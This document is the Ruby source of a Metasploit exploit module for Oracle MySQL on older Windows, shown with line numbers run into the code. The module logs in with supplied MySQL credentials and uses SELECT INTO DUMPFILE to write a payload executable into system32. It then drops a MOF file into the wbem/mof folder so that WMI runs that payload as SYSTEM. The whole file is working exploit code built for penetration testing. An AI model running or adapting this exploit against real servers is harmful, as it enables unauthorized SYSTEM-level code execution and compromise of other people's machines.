Path: blob/master/modules/exploits/windows/mysql/mysql_mof.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MYSQL9include Msf::Exploit::WbemExec10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper12include Msf::OptionalSession::MySQL1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution',19'Description' => %q{20This module takes advantage of a file privilege misconfiguration problem21specifically against Windows MySQL servers (due to the use of a .mof file).22This may result in arbitrary code execution under the context of SYSTEM.23This module requires a valid MySQL account on the target machine.24},25'Author' => [26'kingcope',27'sinn3r'28],29'License' => MSF_LICENSE,30'References' => [31['CVE', '2012-5613'], # DISPUTED32['OSVDB', '88118'],33['EDB', '23083'],34['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13'],35['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],36['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],37['ATT&CK', Mitre::Attack::Technique::T1078_VALID_ACCOUNTS],38['ATT&CK', Mitre::Attack::Technique::T1105_INGRESS_TOOL_TRANSFER],39],40'Platform' => 'win',41'Targets' => [42[ 'MySQL on Windows prior to Vista', {} ]43],44'DefaultTarget' => 0,45'DisclosureDate' => '2012-12-01',46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptString.new('USERNAME', [ true, 'The username to authenticate as']),57OptString.new('PASSWORD', [ true, 'The password to authenticate with'])58]59)60end6162def check63m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])64return Exploit::CheckCode::Safe if not m6566return Exploit::CheckCode::Appears if is_windows?6768return Exploit::CheckCode::Safe69end7071def query(q)72rows = []7374begin75res = mysql_query(q)76return rows if not res7778res.each_hash do |row|79rows << row80end81rescue ::Rex::Proto::MySQL::Client::ParseError82return rows83end8485return rows86end8788def is_windows?89r = query("SELECT @@version_compile_os;")90return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false91end9293def get_drive_letter94r = query("SELECT @@tmpdir;")95drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''96return drive97end9899def upload_file(bin, dest)100p = bin.unpack("H*")[0]101query("SELECT 0x#{p} into DUMPFILE '#{dest}'")102end103104def exploit105print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")106begin107# If we have a session make use of it108if session109print_status("Using existing session #{session.sid}")110self.mysql_conn = session.client111else112# otherwise fallback to attempting to login113m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])114return unless m115end116rescue ::Rex::Proto::MySQL::Client::AccessDeniedError117print_error("Access denied.")118return119end120121if not is_windows?122print_error("Remote host isn't Windows.")123return124end125126drive = get_drive_letter127exe_name = Rex::Text::rand_text_alpha(5) + ".exe"128dest = "#{drive}:/windows/system32/#{exe_name}"129exe = generate_payload_exe130print_status("Uploading to '#{dest}'")131begin132upload_file(exe, dest)133register_file_for_cleanup("#{exe_name}")134rescue ::Rex::Proto::MySQL::Client::AccessDeniedError135print_error("No permission to write. I blame kc :-)")136return137end138139mof_name = Rex::Text::rand_text_alpha(5) + ".mof"140dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"141mof = generate_mof(mof_name, exe_name)142print_status("Uploading to '#{dest}'")143begin144upload_file(mof, dest)145register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")146rescue ::Rex::Proto::MySQL::Client::AccessDeniedError147print_error("No permission to write. Bail!")148return149end150end151end152153154